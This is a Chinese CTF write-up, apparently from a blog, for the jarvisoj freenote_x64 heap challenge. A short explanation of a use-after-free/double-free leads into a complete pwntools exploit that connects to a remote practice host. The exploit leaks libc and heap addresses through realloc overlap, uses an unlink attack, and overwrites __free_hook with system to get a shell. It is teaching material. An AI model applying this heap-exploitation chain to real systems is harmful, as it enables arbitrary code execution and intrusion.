jarvisoj_freenote_x64

jarvisoj_freenote_x64

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下,delete功能清空了標記但是,沒有清空指針,使得可以多次free。

由於清空了標記,因此這個UAF只能用來double free。

用於輸入的函數會輸完a2個字符爲止,會將堆裏的指針覆蓋掉,因此也無法直接泄露地址。

由此想到的方法就是構造overlap chunk,我們注意到edit函數裏使用了realloc函數

realloc會重新分配堆空間,如果後一個chunk處於unsorted bin,會合並進來後再切割。因此,如果後一個chunk的指針保留在堆指針數組裏,然後我們realloc當前的chunk,就可以把後一個chunk包含進來,進而可以泄露下一個chunk的裏保留的地址信息,然後就是僞造下一個chunk的頭,利用UAF再次釋放下一個chunk,unlink後控制堆指針數組。

#coding:utf8
from pwn import *

#sh = process('./freenote_x64')
sh = remote('node3.buuoj.cn',27557)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()

def show():
   sh.sendlineafter('Your choice:','1')

def add(size,content):
   sh.sendlineafter('Your choice:','2')
   sh.sendlineafter('Length of new note:',str(size))
   sh.sendafter('Enter your note:',content)

def edit(index,size,content):
   sh.sendlineafter('Your choice:','3')
   sh.sendlineafter('Note number:',str(index))
   sh.sendlineafter('Length of note:',str(size))
   sh.sendafter('Enter your note:',content)

def delete(index):
   sh.sendlineafter('Your choice:','4')
   sh.sendlineafter('Note number:',str(index))

#0
add(0x80,'a'*0x80)
#1
add(0x80,'b'*0x80)
#2
add(0x80,'c'*0x80)
#3
add(0x80,'d'*0x80)

#將1、2釋放
delete(1)
delete(2)
#realloc將1包含到0裏去,這樣,我們就可以讀取1裏的數據
#這裏實際realloc的大小爲0x100,而只需要輸入0x90,所以可以泄露後面1的fd的內容
edit(0,0x90,'a'*0x90)
#libc地址
show()
sh.recvuntil('a'*0x90)
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#在1、2中僞造fastbin chunk用於泄露堆地址
fake_chunk = p64(0) + p64(0x21)
fake_chunk += 'a'*0x10
payload = 'a'*0x80
payload += fake_chunk*2
payload = payload.ljust(0x118,'a')
#3的size的prev_inuse設置爲1,因爲unlink時要檢查
payload += p64(0x21)
payload = payload.ljust(0x180,'a')
edit(0,0x180,payload)
#1鏈入fastbin
delete(1)
#利用同樣的方法,泄露出1的fd數據
edit(0,0x90,'a'*0x90)
show()
show()
sh.recvuntil('a'*0x90)
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
heap_0_ptr_addr = heap_addr - 0x1980
print 'heap_0_ptr_addr=',hex(heap_0_ptr_addr)
#在0中僞造chunk
fake_chunk = p64(0) + p64(0x81)
#fd、bk
fake_chunk += p64(heap_0_ptr_addr - 0x18) + p64(heap_0_ptr_addr - 0x10)
payload = fake_chunk.ljust(0x80,'a')
#修改1中的頭
payload += p64(0x80) + p64(0x90)
payload = payload.ljust(0x100,'a')
edit(0,0x100,payload)
#unlink
delete(1)
#現在可以控制堆指針數組了
payload = p64(10)
payload += p64(1) + p64(0x8) + p64(free_hook_addr)
payload += p64(1) + p64(0x8) + p64(binsh_addr)
payload = payload.ljust(0x100,'\x00')
edit(0,0x100,payload)
#改寫free_hook
edit(0,0x8,p64(system_addr))
#getshell
delete(1)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章